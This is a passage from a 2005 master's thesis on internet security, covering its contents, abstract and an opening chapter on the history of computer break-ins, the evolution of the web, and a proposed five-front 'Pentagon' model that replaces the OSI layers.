Chapter 2
Transcription
Chapter 2
A Brief Review of Internet Security: Evolution, Methodologies and Defense Strategies Master’s Thesis by Kulikov Alexey Department of Computer Science, University of Warwick, CV4 7AL, Coventry, UK Fourth Edition, 16 July 2005 Internet Security // Kulikov Alexey @ University of Warwick -2- Internet Security // Kulikov Alexey @ University of Warwick Table of Contents ABSTRACT....................................................................................................................................5 CHAPTER 1 — OVERVIEW OF INTERNET SECURITY....................................................7 HOW THE WEB WAS SPUN .............................................................................................................8 The Beginning ..........................................................................................................................8 HTTP........................................................................................................................................9 Server-Side Scripts.................................................................................................................10 Client-Side Scripts .................................................................................................................10 INTERNET S ECURITY...................................................................................................................12 The Five Fronts of Internet Security......................................................................................14 CHAPTER 2 — ATTACKING UNIX .......................................................................................20 MAIN REASONS FOR EXPLOITABILITY OF UNIX S YSTEMS............................................................20 Daemons ................................................................................................................................22 SUID/SGID Processes ...........................................................................................................22 Human Factor........................................................................................................................23 Trust .......................................................................................................................................23 TIMES BEFORE NET WORMS.........................................................................................................24 NET WORMS................................................................................................................................24 Strategies used by the worm ..................................................................................................26 Disguise Strategies ................................................................................................................26 TIMES AFTER NET WORMS...........................................................................................................27 CONCLUSION ..............................................................................................................................29 CHAPTER 3 — ATTACKS ON THE TRANSPORT CHANNEL ........................................32 FAKE ARP S ERVERS ...................................................................................................................33 DOMAIN NAME SERVERS ............................................................................................................36 Faking DNS replies................................................................................................................37 EARLY C RYPTOGRAPHY .............................................................................................................39 PRETTY GOOD PRIVACY .............................................................................................................41 SECURE SOCKET LAYER .............................................................................................................43 How safe is SSL? ...................................................................................................................44 CONCLUSION ..............................................................................................................................44 APPENDIX 1 ................................................................................................................................46 APPENDIX 2 ................................................................................................................................48 APPENDIX 3 ................................................................................................................................49 APPENDIX 5 ................................................................................................................................51 -3- Internet Security // Kulikov Alexey @ University of Warwick CHAPTER 4 — ATTACKING THE PEOPLE // HUMAN FACTOR ..................................53 WHAT IS SOCIAL ENGINEERING? ................................................................................................53 CLASSIFICATION OF VARIOUS SE M ETHODOLOGIES ..................................................................55 Using the Phone.....................................................................................................................55 The Internet............................................................................................................................55 E-mail ....................................................................................................................................55 Example of System Penetration .............................................................................................57 Evolution of SE in relation to Internet Security.....................................................................59 Short Story of Kevin Mitnick..................................................................................................59 SOCIAL ENGINEERING IN THE RECENT PAST ................................................................................59 COMBAT STRATEGIES AGA INST SE .............................................................................................62 CONCLUSION ..............................................................................................................................64 CHAPTER 5 — ATTACKING THE CLIENT ........................................................................66 VIRUSES AND WORMS ................................................................................................................67 HOW DO VIRUSES AND WORMS WORK? .......................................................................................69 TROJANS ....................................................................... ? ? ? ? ? ? ! ?? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? . ANTI- VIRUS SOFTWARE ..............................................................................................................72 RECENT HISTORY – MACRO VIRUSES .........................................................................................73 WHY WINDOWS? ........................................................................................................................74 CONCLUSION ..............................................................................................................................75 APPENDIX A – MELISSA .............................................................................................................78 CHAPTER 6 — ATTACKING THE WEB SERVER .............................................................80 WEB S ERVERS ............................................................................................................................81 Basics of Web Server Operation ............................................................................................81 Common Web Server Weaknesses .........................................................................................82 Server Misconfiguration ........................................................................................................82 Bugs in Web Applications ......................................................................................................82 DENIAL OF S ERVICE (DOS) .........................................................................................................84 Defense problems...................................................................................................................87 CONCLUSION ..............................................................................................................................89 CHAPTER 7 — BUILDING A SECURE LAN ........................................................................93 Server OS ...............................................................................................................................93 Web Server.............................................................................................................................95 Transport Channel.................................................................................................................96 Client (OS and Browser) .......................................................................................................98 People ....................................................................................................................................99 To Sum Up ...........................................................................................................................103 BIBLIOGRAPHY......................................................................................................................106 -4- Internet Security // Kulikov Alexey @ University of Warwick Abstract Along the pages of this thesis I will try to show, that most of security problems we see on the net today are inherent to architectural mistakes made by the creators of the Internet more than thirty years ago. We are left in a position to build secure systems using initially insecure technologies, in other words “security through obscurity”. First the reader is introduced to a new model, which shall be referred to as the “Pentagon of Internet Security”, which incorporates in it the base layers of the well-known OSI model alongside with a separate “front” for the people, responsible for the operation of other security “fronts”. My model features the following fronts in need for protection in reference to the World Wide Web: Server Operating System, Web Server Software, Transport Channel, Client Machine and all the people operating the system. The evolution of every front of the Pentagon is described over the course of this thesis slowly leading to the conclusion, that the Internet is generally unsafe due to a set of historical architectural mistakes and the prevalence of the “human factor / human mistake” on all sides of the Pentagon. The thesis develops towards a recommendation of a scalable and accessible (in monetary terms) security policy, which a LAN administrator/owner may adhere to. The Pentagon model is argued to be a good replacement for the less-practical OSI model closer to the end of the thesis. To support this claim I have based my Security Policy recommendation on the five sides of the Pentagon. -5- Internet Security // Kulikov Alexey @ University of Warwick Chapter 1 -6- Internet Security // Kulikov Alexey @ University of Warwick Chapter 1 — Overview of Internet Security Incidents of attacks against computers have been reported since the earliest days of electronic computing. Since those days, data security mechanisms have been an integral part of computer operating systems. Until the mid 1980s, however, most such attacks were the work of those who already had an account on a computer or knew someone who did. By that time, the cheap modem had transformed every personal computer into a potential terminal for any other computer with dial- in phone lines and the growing research project called the Internet connected tens of thousands of computers by a high-speed data network. New opportunities for break- ins became available to anonymous people in any part of the world. I will illustrate this with a few examples. In early September 1986 an intruder broke into a large number of computer systems in the San Francisco area, including nine universities, sixteen Silicon Valley companies and three government laboratories. The intruder left behind recompiled login programs to ease his return. His goal was apparently to enter as many computers as possible, hence, no damage was done 1 . In the same year, another intruder secretly broke into thirty supposedly well- secured computers in the US Defense Department’s MILNET and attempted breaking into several hundred others, apparently looking for military sensitive information that could be copied and sold. After nearly a year of detective work, Cliff Stoll of the Lawrence Berkeley Laboratory collected enough evidence to identify the German hacker 2 . In November 1988 Robert Morris, a graduate student at Cornell University, released a worm program into the Internet. Within five hours this program replicated itself in approximately 3000 computers. Network experts spent the next several days isolating it. Although the worm damaged nothing, it produced massive scare, the potential for loss of valuable information was enormous and an actual loss would have been devastating to many people who used computers. In July 1989 Morris was faced with legal charges under the federal computer crime law, charged with unauthorized entry to federal computers that caused more than 1000$ damage. His trial was held in January 1990 and the jury found him guilty. He was given a suspended jail sentence, fined 10 000$ and ordered to perform 400 hours of community service. Since 1986, the media have run various stories about computer break- ins, worms and viruses. The number of incidents is on the rise. There is a growing concern among computer network managers, software dealers and users of the Internet about these forms of vandalism. The attacks have drawn everyone’s attention to the general problem of computer security. In March 1985 Computer Recreations column in Scientific American written by A. K. Dewdney documented a whole set of possible threats to information stored on personal computers3 . It is very difficult to estimate the amount of damage caused by security incidents since then. The Computer Security Institute published a study called “Issues and Trends: 2000 CSI/FBI Computer Crime and Security Survey”4 . Of the companies surveyed, 42 percent were willing to quantify their financial losses. No standard was used to figure out how much money was actually lost. The companies simply reported what they wanted to. The cumulative total of these 273 reporting organizations was $265 589 940. The most serious causes were theft of proprietary information (66 respondents reported $ 66 708 000) and financial fraud (53 respondents reported $55 996 000). Seventy one percent of the respondents to the survey reported successful attacks by insiders. However, more Internet-based attacks were reported than internal attacks. While $265 million may not seem like a big figure compared to the US gross national product, this number, 1 B. Reid. “Reflections on some recent widespread computer break-ins”, Communication of the ACM, Volume 30, February 1987, pp. 103-105. 2 C. Stoll. The Cuckoo’s Egg: tracking a spy through the maze of computer espionage, Pocket Books, October 2000 3 A. K. Dewdney, “A Core War Bestiary of Viruses, Worms and Other Threats to Computer Memories”, Scientific American 252, 5, March 1985, pp 14-23, can be seen here — http://vx.netlux.org/lib/mad02.html 4 Can be seen at http://www.landfield.com/isn/mail-archive/2000/Jun/0038.html -7- Internet Security // Kulikov Alexey @ University of Warwick however, only represents the estimates of 273 organizations that responded to the survey. It is therefore probably reasonable to assume that the companies that were hit the worst were not interested in disclosing their misfortune. Yet, the problem of Internet Security is still in its infantile stage and I guess there will be more incidents to come in the future. How the Web was spun The Internet is the single largest and most dispersed source of information in the world, and it has grown spontaneously. Today, people use the net to obtain stock quotes, buy clothing, books and CDs, communicate with friends and colleagues all over the world, obtain formal qualifications and even conduct election polls. The communication between merchants and buyers has never been easier before, and this fact is proven daily by the blistering success of eBay. No wonder that companies are worried about being left behind if they don’t provide their custome rs with usable and informative Web pages and the ability to shop electronically. What many people don’t realize, however, is that the Web, as it evolved, has serious security issues. Any successful project is a result of a lot of planning, followed by hard work, however, the Web expanded on its own with little control from the very beginning. The situation quickly went out of control leaving the Web to grow exponentially while it invaded almost every household in developed countries. However, the initial purpose of the Internet was to share information, thus little was done in order to protect it. However, the mass acceptance of the Web as we see it today had an urgent need to protect information, as a result, security was added as an afterthought, trying to make a secure system based on initially insecure technologies. New capabilities were added as soon as they were demanded by the growing market without carefully considering the impact on security. As the Web became the primary commercial medium for many businesses, it did not take long for security threats to become much more serious: banks and large corporations became common targets for attackers striving to make financial profits. Today we are at a point, where Internet Security is of uttermost importance, yet the technological lock- in leaves little chance to change the underlying technology. It is important to understand the evolution of the Web for several reasons. New security threats were introduced at each stage of the Web’s growth, and previous threats were not always addressed. For example, the Web uses the Internet as its main mechanism of data transport, hence it automatically inherits all of the Internet’s security vulnerabilities. Such as the TCP/IP5 protocol used as the main data transfer protocol on the Internet has been initially developed with reliability of connection and not security in mind, therefore all the data transferred over the net with the aid of that protocol travels in form of plain text and can be intercepted. It is worth noting that many of the threats from the early days of the Web not only still exist, but also the complex interaction between many of the early and modern features of the Web increase the possible dangers. The Beginning In the late 1970s, the Internet, a collection of TCP/IP networks, was used only by a rather small number of scientists and researchers. The main services were e- mail, file transfer and remote access. For those who used it, the Internet was invaluable, but the general public had little knowledge of it. Services such as netfind 6 soon followed. These services sat on top of existing protocols and provided a level of abstraction between the user and the underlying protocols. That is, the user no longer had to understand the details of the ftp and telnet technologies. 5 Abbreviation of Transmission Control Protocol, and pronounced as separate letters. TCP is one of the main protocols in TCP/IP networks. Whereas the IP protocol deals only with packets, TCP enables two hosts to establish a connection and exchange streams of data. TCP guarantees delivery of data and also guarantees that packets will be delivered in the same order in which they were sent. 6 One of the very first search services on the Internet, currently owned by AOL and can be seen under http://netfind.aol.com/ -8- Internet Security // Kulikov Alexey @ University of Warwick Application-level programs separated the user from these details. However, already at that time several security concerns arose. For the most part, they were application-specific. For example, e-mail could be easily forged (it can still be forged today) by anyone who understood the SMTP 7 protocol. Many Internet users, however, understood the technology they were using, and mail forgery was more often performed for fun rather than as a malicious deed. FTP 8 server misconfiguration could leave a file system completely vulnerable. Telnet presented a serious security problem because passwords were transmitted in clear text, thereby allowing anybody with access to any network on the path between the client and the server to read them. This is still one of the problems of the Internet today. Other security concerns dealt with the protocols themselves. Steve Bellovin, for example, pointed out 9 flaws in the TCP/IP protocol suite. One such flaw allowed attackers to spoof their IP address in the data packets. That is, users could create IP data packets (explained in chapter 3) with bogus addresses. Since many applications used this information for authentication purposes, this simple attack could prove very successful. Another failure of the Internet is the poor design of the DNS10 service. In case an attacker can alter the binding between an IP address and a domain name, then he/she can easily impersonate any type of server. Although these threats were known for years, they still represent a great vulnerability to modern attacks. In fact many of the security holes mentioned in this thesis are still open for attack on many machines on the Internet today. By far the greatest security threat to the Internet was and remains the homogenous nature 11 of client and server applications. The very thing that makes the Internet possible is at the same time its greatest weakness. This was never given enough attention until the Morris worm of 1988 spread across the net in hours. This worm was possible because many versions of the bogus program were running all over the world. It is, at the same time, nearly impossible to eliminate all bugs in large applications. For example, sendmail, a large program that runs with system privileges, has, over the past 10 years, been found to have many security flaws. As the identified bugs were fixed, new ones were found. The cycle has repeated many times. HTTP The second stage in the evolution of the World Wide Web came with the introduction of the HTTP 12 protocol and the HTML format. In the early 1990s, the Mosaic browser was introduced, which gave users a friendly interface to the Internet. Users could then create their own Web pages using HTML, hence the number of Internet users increased dramatically. Next, Netscape Navigator was introduced. This browser launched helper applications, defined by the user, to process various kinds of data. PostScript viewers could automatically display PostScript files on the users’ computer screen when such a file was accessed over the network. The helper applications could even launch an image viewer or a video or audio player. The security threats 7 Simple Mail Transfer Protocol Short for File Transfer Protocol, the protocol for exchanging files overt the Internet. FTP works in the same way as HTTP for transferring Web pages from a server to a user's browser and SMTP for transferring electronic mail across the Internet in that, like these technologies, FTP uses the Internet's TCP/IP protocols to enable data transfer. 9 S. Bellovin, “Security Problems in the TCP/IP Protocol Suite”, Computer Communication Review 19(2), April 1989, pp 32-48, can be seen under http://www.research.att.com/~smb/papers/ipext.pdf 10 Short for Domain Name System (or Service or Server), an Internet service that translates domain names into IP addresses. Because domain names are alphabetic, they're easier to remember. The Internet however, is really based on IP addresses. Every time you use a domain name, therefore, a DNS service must translate the name into the corresponding IP address. For example, the domain name www.example.com might translate to 198.105.232.4 11 Meaning that the client and the servers are running the same programs and are using the same protocols. 12 Short for HyperText Transfer Protocol, the underlying protocol used by the World Wide Web. HTTP defines how messages are formatted and transmitted, and what actions Web Servers and browsers should take in response to various commands. For example, when you enter a URL in your browser, this actually sends an HTTP command to the Web Server directing it to fetch and transmit the requested Web page. 8 -9- Internet Security // Kulikov Alexey @ University of Warwick introduced by this new technology were not very different from previous threats, with one major exception. Never before had so many computers in the world run the same Internet application. A bug in the Netscape browser could potentially affect more computers than very likely existed at the time of the Morris worm in 1988. In fact a bug was found in Netscape Navigator in late 1995 which allowed technologically savvy users to decrypt though-to-be-secure Web pages sent via SSL between a browser and a server (see Chapter 3 for details). By far not all software bugs are security threats, but there is no way to be sure that such bugs do not exist. Server-Side Scripts It did not take long for Web developers to enhance the HTTP protocol and HTML to allow for two-way communication between Web Servers and Web clients. The introduction of CGI13 scripts on Web Servers allowed users to type into forms on their Web pages. By clicking a button, the user sends information back to the server, where it is fed as input to a program called a CGI script. Scripts can be written in any language, the most common being C, Perl, Shell or lately PHP, JPS and ASP.NET. This enhancement made the World Wide Web a very widespread term. Many non-technical users began to see a need for the Web. Offline magazines began including Web references in their pages. Large companies began offering Web sites for their customers, and soon even the smallest of companies couldn’t live without a home page. At the same time, Web developers were building search engines and data catalogues that made finding information easy. Complex shopping systems followed. The variety of CGI application we see on the Web nowadays is practically impossible to list. CGI scripts introduced new and more serious security concerns, especially to the machines that were running Web Servers. In the past the danger was that a large program such as the Netscape browser had an exploitable bug in it, however, the introduction of CGI gave users the tools to create their own bugs for people to exploit. Sharing useful CGI scripts over electronic bulletin boards and mailing lists quickly became common practice. These scripts found their way into servers all over the world. Some of the more popular ones 14 replicated many thousand times. There is absolutely no way to measure how quickly these scripts spread. CGI scripts often run with privileges that give them almost complete control of the server. Unfortunately, many of these scripts have flaws so serious that they can be exploited by any client to compromise the server machine completely. For example, many scripts take user input and feed it directly to a command interpreter. By using a pipe symbol “|” the user can cause other unpredicted commands to execute on the server. The results can be serious if the machine where the Web Server is run is used for other purposes, such as storing accounting information or hosting a database. Attacks might mail private information found on the server back to a malicious user, change data on the machine, lock up the server so that it has to be reinstalled, fill the screen with annoying pictures, and so on. Client-Side Scripts Once CGI programs made executing programs on the server possible the next logical step was to execute scripts on the client machine. This development has several implications in terms of both functionality and security. The load on the server can be greatly reduced if it can send scripts to 13 Abbreviation of Common Gateway Interface, a specification for transferring information between a World Wide Web Server and a CGI program. A CGI program is any program designed to accept and return data that conforms to the CGI specification. The program could be written in any programming language, including C, Perl, Java, or Visual Basic 14 Quite a few Open Source projects, which were started “for fun” by lone programmers are used all over the web today, for example http://www.phpbb.com/ - 10 - Internet Security // Kulikov Alexey @ University of Warwick all clients instead of processing them locally 15 . The parallelism that can be achieved allows Web applications to scale immensely. The most widespread language that is used for client-side script processing is Java (in Web Browsers it is more common to see JavaScript, a much simpler scripting language), which allows users to enhance Web pages with animations and interactive programs. The use of Java has spread quickly, and it became the language of choice at many universities and institutions. Its object-oriented features combined with its platform independence made Java a very attractive choice. The security aware reader, however, should immediately recognize many dangers that come with the very concept of running code from a remote location on a client machine. Although Java’s designers have attempted to make it safe, flaws were uncovered that break the established security mechanisms. For example, Ed Felten and his students at the Princeton University have broken the type checking mechanism of the Java bytecode verifier to enable arbitrary native code to run on the machine 16 . David Hopwood at Oxford also had some success causing applets to interact in ways they shouldn’t 17 , thus breaking system security. Even though some skeptics were horrified by the introduction of something so dangerous as client-side scripts, it was inevitable due to the high demand for function rich browser based interfaces 18 . Given the popularity of the Web, and the giant leaps in functionality, the next logical step was bound to happen. In fact, one should be grateful that the creators of Java at Sun Microsystems at least tried to get it right. They were concerned with security from the very beginning, and they realized that security would play an important role in Java’s acceptance 19 . Unfortunately, the problem was harder than they thought at first 20 21 . Therefore, Web clients that run with Java enabled are potentially vulnerable to attack. Surprisingly, the default security setting for Java in the Internet Explorer browser is “enabled”, whereas Mozilla, for example, is shipped with no Java Virtual Machine included at all, and it takes some expertise to install it. Other scripting languages can run within browsers as well. JavaScript, for example, can be distributed in- line with HTML docume nts. This feature makes it harder to identify such scripts at firewalls, which, consequently, makes them rather hard to block. JavaScript’s security, however, has not been studied as thoroughly as Java’s, but we have no reason to believe that it is failsafe 22 . The current state of things appears to be quite clear. As infrastructure for mobile objects is developed (PDAs, Mobile Phones, et cetera), it is only natural that it will be integrated with the Web. General-purpose objects along with their data structures and access control rules may further enhance the Web’s capabilities. We already see this in Java, ActiveX and other scripting languages. As we reach each new stage of the Web’s development, new security problems will inevitably arise with the introduction of new concepts and new technologies 23 . 15 In fact, even nowadays, when processing power is rather cheap, high load application prefer to pass most of the data processing to the client. For example, the soon to launch Google service “gmail” consists mostly of JavaScript that is executed on the client machine. 16 See the CERT advisory -- http://www.cert.org/advisories/CA-1996-07.html 17 See the SUN announcement -- http://Java.sun.com/sfaq/960327.html 18 The evolution of Web Interfaces is out of the scope of this thesis, yet I would like to point out, that Google’s “gmail” has one of the most sophisticated Client-Code-Based user interface available on the net today. 19 The sole concept of Java’s “Virtual Machine” is based around creating a safe and secure environment for the execution of a program. 20 See the CERT advisory -- http://www.cert.org/advisories/CA-1996-07.html 21 See the SUN announcement -- http://Java.sun.com/sfaq/960327.html 22 There are numerous ways in which Java Script scripts can affect the user’s execution environment without violating any security policies. A discussion on the security of Java Script can be found in JavaScript: The Complete Reference, second edition, by Thomas Powell and Fritz Schneider McGraw-Hill/Osborne 23 One of the recent examples being Wi-Fi networks. - 11 - Internet Security // Kulikov Alexey @ University of Warwick Internet Security Internet Security is different things to different people. The concept of Web Security has evolved alongside with the mass popularization of the Internet. In the early days of the net it was mostly about keeping unwanted eyes away from proprietary networks 24 . After the Morris Worm a new hype has struck the net with System Administrators trying to close all possible points of entry on their LANs. Internet Security was no more only about protecting information, it was also about protecting computer resources. With the introduction and popularization of the www, Internet Security gained new perspectives. People surfing the Web, wanted to do this in peace, knowing that no one is looking over their shoulder. Banks wanted to make sure, that they could conduct financial transactions safely keeping the integrity of the data intact. Moreover, as the web became a commercial medium, people shopping online wanted to be sure, that their actions will not lead to negative consequences. As the web grew, Web Site operators wanted to be sure, that their sites would not be broken into and vandalized or used as a gateway to enter the LAN. Moreover, more and more people are concerned about their privacy, thus secure communication is also a part of Internet Security. A common problem these days is that the topic of Internet Security has been distorted by software vendors and the press. Common users are mislead into believing that Internet Security is all about anti- viral software, or all about installing some sort of home firewall system. Actually Internet Security is both more simple and more complex than the media and software vendors make us believe. More simple because it is easy to break the Internet down into smaller components and see where the problem lies. More complex, because there are no simple solutions and no magic formulas for making the Web 100% safe. Internet Security is about understanding the whole scope of the problem at hand and about attempting to protect oneself at all fronts. Today, an Internet Security professional will typically work according to the seven layer OSI25 model (fig. 1), which is, however, not World Wide Web specific, but is more abstract as it was designed in the early seventies to represent a network connection between two hosts. This model was adopted as a guideline for securing every layer, which could be seen as a potential weakness, while transporting data from point A to point B. Fig 1. This graphic is taken from The Abdus Salam International Centre for Theoretical Physics. 24 C. Stoll, The Cuckoo’s Egg: tracking a spy through the maze of computer espionage, Pocket Books, October 2000 The OSI, or Open System Interconnection, model defines a networking framework for implementing protocols in seven layers. Control is passed from one layer to the next, starting at the application layer in one station, proceeding to the bottom layer, over the channel to the next station and back up the hierarchy. Real-world protocol suites often do not strictly match the seven-layer model. There can be some argument as to where the distinctions between layers are drawn; there is no correct answer. The DoD model, developed in the 1970s for DARPA, is a 4-layer model that maps closely to current common Internet protocols. It is based on a more “pragmatic” approach to networking than OSI. See http://en.wikipedia.org/wiki/DoD_model for a thorough description of the DoD model. 25 - 12 - Internet Security // Kulikov Alexey @ University of Warwick Application (Layer 7) Presentation (Layer 6) Session (Layer 5) Transport (Layer 4) Network (Layer 3) Data Link (Layer 2) Physical (Layer 1) This layer supports application and end-user processes. Communication partners are identified, quality of service is identified, user authentication and privacy are considered, and any constraints on data syntax are identified. Everything at this layer is application-specific. This layer provides application services for file transfers, e- mail, and other network software services. Telnet and FTP are applications that exist entirely in the application level. Tiered application architectures are part of this layer. This layer provides independence from differences in data representation (e.g., encryption) by translating from application to network format, and vice versa. The presentation layer works to transform data into the form that the application layer can accept. This layer formats and encrypts data to be sent across a network, providing freedom from compatibility problems. It is sometimes called the syntax layer. This layer establishes, manages and terminates connections between applications. The session layer sets up, coordinates, and terminates conversations, exchanges, and dialogues between the applications at each end. It deals with session and connection coordination. This layer provides transparent transfer of data between end systems, or hosts, and is responsible for end-to-end error recovery and flow control. It ensures complete data transfer. This layer provides switching and routing technologies, creating logical paths, known as virtual circuits, for transmitting data from node to node. Routing and forwarding are functions of this layer, as well as addressing, Internetworking, error handling, congestion control and packet sequencing. At this layer, data packets are encoded and decoded into bits. It furnishes transmission protocol knowledge and management and handles errors in the physical layer, flow control and frame synchronization. The data link layer is divided into two sublayers: The Media Access Control (MAC) layer and the Logical Link Control (LLC) layer. The MAC sublayer controls how a computer on the network gains access to the data and permission to transmit it. The LLC layer controls frame synchronization, flow control and error checking. This layer conveys the bit stream - electrical impulse, light or radio signal -- through the network at the electrical and mechanical level. It provides the hardware means of sending and receiving data on a carrier, including defining cables, cards and physical aspects. Fast Ethernet, RS232, and ATM are protocols with physical layer components. Table 1: Explanation of seven OSI layers 26 . The OSI model defines a complete data transport framework, yet, I find it inappropriate to use as a guideline for securing web-based applications. Firstly, one cannot look at Internet Security as a set of various abstraction layers, investing into their evolution and protection, since web applications are far more abstract than the initial communication architecture. Some layers can be grouped together to represent a more accessible and understandable methodology. Besides, the representation of the two hosts in the OSI model fits rather well with two servers communicating with each other, however it does not fit a nowadays more common scenario of a web browser requesting web pages from a server. Last, but not least, the OSI model takes into account only IT based layers, and fully ignores the human factor – people operating every layer of the model. Thus I am suggesting an alternate approach, which I will refer to as “The Pentagon 26 Source: http://www.webopedia.com/quick_ref/OSI_Layers.asp - 13 - Internet Security // Kulikov Alexey @ University of Warwick of Internet Security”, as it covers five different fronts of possible points of access to a protected system or network. It is a model I have designed in order to represent various areas of a system or a whole LAN in need for protection. These five fronts are illustrated below (fig. 2) and are the ground stones of this thesis. Fig 2: Five fronts of Internet Security The Five Fronts of Internet Security When one gets down to the problem, then a Web connection is actually a very simple thing, as there are only three parts to it: 1. The client (typically a Web browser) 2. A Web Server running on some computer most probably operated by some breed of Unix 3. The connection between the two The user connects to a remote Web Server via his/her browser and requests a document, the server returns the document and the browser displays it. What could go wrong? If one takes a closer look at the transaction then is becomes clear that the integrity of the system rests on a whole set of assumptions. From the user’s point of view: • • • The remote server is owned and operated by the organization that it seems to be owned by. The documents that the server returns are free from viruses and malicious intent. The remote server will not record or distribute information that the user considers private, such as his/her browsing habits. From the Webmaster’s point of view: • • • • The user will not attempt to break into the Web Server’s computer system or alter the contents of the Web site. The user will not try to gain access to documents that he/she is not supposed to see. The user will not try to crash the server, making it unavailable for others to use. If the user has identified himself, he is who he claims to be. - 14 - Internet Security // Kulikov Alexey @ University of Warwick From both parties’ views: • • The network connection is free from third-party eavesdroppers listening in on the communication line. The information sent between the browser and the server is delivered intact, free from tampering by third parties. The whole purpose of Internet Security is to ensure that these assumptions remain valid. Web connections have three parts, however, Internet Security has five fronts to defend. • Server-side Security comprising of a. Server Operating System (first Front) b. Web Server Software (second Front). These are measures that protect the Web Server and the machine it runs on from breakins, site vandalism and denial-of-service attacks (attacks that make the Web site unavailable for normal use). Technological solutions run the scope from firewall systems to operating system security measures. • Transport Channel (third Front). These are measures that protect private information from being disclosed to third parties. One risk to document confidentiality is eavesdroppers who intercept documents as they cross the network. Another risk is fraudulent identities – for instance, a user who misrepresents himself to a Web Server as someone authorized to download a document, or a Web Server that tricks a user into sending it confidential information by pretending to be a trusted site. The main technological fix in this category is cryptography, although simpler measures, such as the use of strong passwords to identify users also play an important role. • Client-side Security (fourth Front). These are security measures that protect the user’s privacy and integrity of his computer. Technological solutions include safeguards to protect users against computer viruses and other malicious software, as well as measures that limit the amount of personal information that browsers can transmit without the user’s consent. Also in this category are steps that organizations can take to prevent employees’ Web browsing activities from compromising the secrecy of the company’s confidential information or the integrity of its local area network. • The Human Factor (fifth Front). None of the above security fronts are safe in case the people responsible for their integrity use “12345” as password or carelessly provide confidential data to strangers over e- mail or phone. A company may invest thousands into the latest security equipment, but in case the system administrator fails to apply the latest software patches, the system may very well be broken into. None of these aspects of Internet Security is independent of the other. The strongest cryptography in the world (read Chapter 3 for details) will not keep a Web page secret if the computer that it is stored on is broken into. An invulnerable Web Server (read Chapter 6 for details) still won’t protect an organization from public humiliation if a hacker can manage to hijack its domain name (read Chapter 3 for details) for a long enough period to convince the world that the site was really vandalized. The threats we face come in different forms. Some people are worried about their privacy. They don’t want anybody to know what Web pages they visit, what e-mails they write, what products they buy and what people they are communicating with while being online. Others are concerned with confidentiality of secret information on their computers, they don’t want sensitive information to get into the wrong hands while it is being transmitted over the Internet. Some people are worried that somebody will be able to - 15 - Internet Security // Kulikov Alexey @ University of Warwick impersonate them on the Internet, or steal their access details to some public resource and do various actions in their name (for example post messages in commonly-visited bulletin boards). The Web has grown around us. On one hand, it offers new functionality that never existed before. On the other many of us, however, are now vulnerable to threats that we didn’t even imagine existed. Along the pages of this thesis I will try to show, that most of security problems we see on the net today are inherent to architectural mistakes made by the creators of the Internet more than thirty years ago. We are left in a position to build secure systems using initially insecure technologies and this situation is not likely to change in the near future as all present systems are interdependent. Most of the technology that the Internet is based upon was there long-before the World Wide Web, and it was designed with stability and not security in mind. For example, the TCP/IP communication protocol (discussed in detail in Chapter 3) has absolutely no encryption whatsoever built into it, resulting in all data being transmitted in form of clear text. Upgrading the World Wide Web to another more sophisticated protocol is an almost impossible task, yet slow migration of newer systems is an emerging trend. Moreover, the Internet’s initial purpose was to share information, thus little thought was invested into information protection from the very beginning. Therefore many of today’s applications remain in some sort of a technological lock-in, struggling to protect information from being lost due to technological limitations of systems in use. For example, most server operating systems (discussed in more detail in Chapter 2) being some breed of linux or Unix employ design paradigms that were first incorporated at the dawn of the Unix epoch in the early seventies, such as: daemons, trust and guid/suid processes. These design concepts are still present today, yet they are all a potential threat to the security of the machine hooked up to the network. This and other concepts will be illustrated in greater detail while I will be investigating the evolution of security on every of the five fronts of the “Pentagon” introduced earlier in this chapter. My secondary objective is to design an accessible (that is cheap in monetary terms) and scalable security policy, which a commercial local area network administrator/manager could implement in order to stay protected from common attack scenarios. The proposed security policy will be based on the “Pentagon” security model, which I suggest to be used instead of the outdated OSI security model. Moreover, after all sides of the Pentagon have been analyzed in consecutive chapters, I will try and show, that the y are all interdependent, and that a security policy needs to be build around all sides simultaneously. Failing to secure any side of the Pentagon may result in the failure of the system as a whole. Add to that, the domination of the “Human Factor” in all aspects of Internet Security, and the need for a scalable policy based on my model increases. In the concluding chapter I will try to illustrate that no matter how advanced the technology on any side of the Pentagon model is, it still remains very fragile in terms of security in case it is not operated with the necessary care. Human mistakes are unintentional most of the time, yet in the course of this thesis I will show, that they are the primary source of problems for the security of any given LAN or machine. On one side, the security of some LAN may be affected by poor or sloppy administration i.e. the System Administrator failing to install a fresh patch in time, or the overall architecture having backdoors, which could be located by the parties having some sort of malicious intentions in mind. On the other hand, all users of some LAN place it under risk, as they may unintentionally provide access to their machine to third parties. For example, the use of weak passwords (discussed in Chapter 2) is a common mistake that is employed by someone willing to gain unauthorized access. Moreover, the sole concept of Social Engineering is one of the most dangerous threats to any system in question. This is analyzed and discussed in detail in Chapter 4. Add to that the possibility that the end user of some LAN can be tricked into installing some sort of malicious application, which may very well paralyze the whole local network and not only the client machine (see Chapter 5 for more detail), then this makes the “Human Factor” one of the most important issues in the security of any LAN, moving out - 16 - Internet Security // Kulikov Alexey @ University of Warwick technological solutions to a secondary position of importance. I hope that the “Pentagon” will provide grounds for better understanding of the concept of Internet Security as a whole. Unfortunately the area of Internet Security is a very broad topic and it is impossible to get hold of all its aspects within a Master’s Thesis. Thus some concepts are left out intentionally, such as the issue of physical security i.e. network components such as servers, hubs, and routers should be located in a secure equipment room; access to work stations should be guarded by electronic locks and the building should have guards protecting every entry. Moreover, concepts of security based on hardware are also out of the scope of this thesis. Thus one must not be left wondering why no attention is given to Firewalls, Switches, Routers and Hubs: these topics have been left out intentionally. Add to that the fact, that this work does not pay any attention to recent technological developments on the field of Internet Security such as the concept of Honeypots or Virtual Private Networks. The site http://www.securitydocs.com offers a very wide selection of articles on these topics and they are regarded as common solutions for corporate users. Moreover, this thesis is, in many aspects, a historical study of evolution of the five fronts defined earlier in this chapter, thus little or no attention is paid to the future of the area of Internet Security. The next five chapters focus on the five fronts of Internet Security listed earlier in this chapter. I take a brief tour through their evolution and the level of risks they create for modern security systems. Chapter two is an overview of the Unix epoch and the technological lock- in we have ended up in, due to architectural mistakes made over thirty years ago by the designers of Unix. Chapter three is a study of the most common Internet communication protocols, their evolution and applications. In this chapter, as well as in chapter two, I emphasize the fact, that many of modern problems with Internet Security are inherited from systems that were designed and build in the early seventies. Chapter four is a brief study of Social Engineering and one of its pioneers – Kevin Mitnick. There I discuss the importance of the “human factor” inherent to every computer system and, in many cases, being the weakest link in the security of that system. Chapter five looks at the importance of client machines, mainly focusing on the evolution of malware (viruses and trojan horses). Computer viruses and worms are one of the commonest problems encountered by Internet users nowadays, since they are easily spread 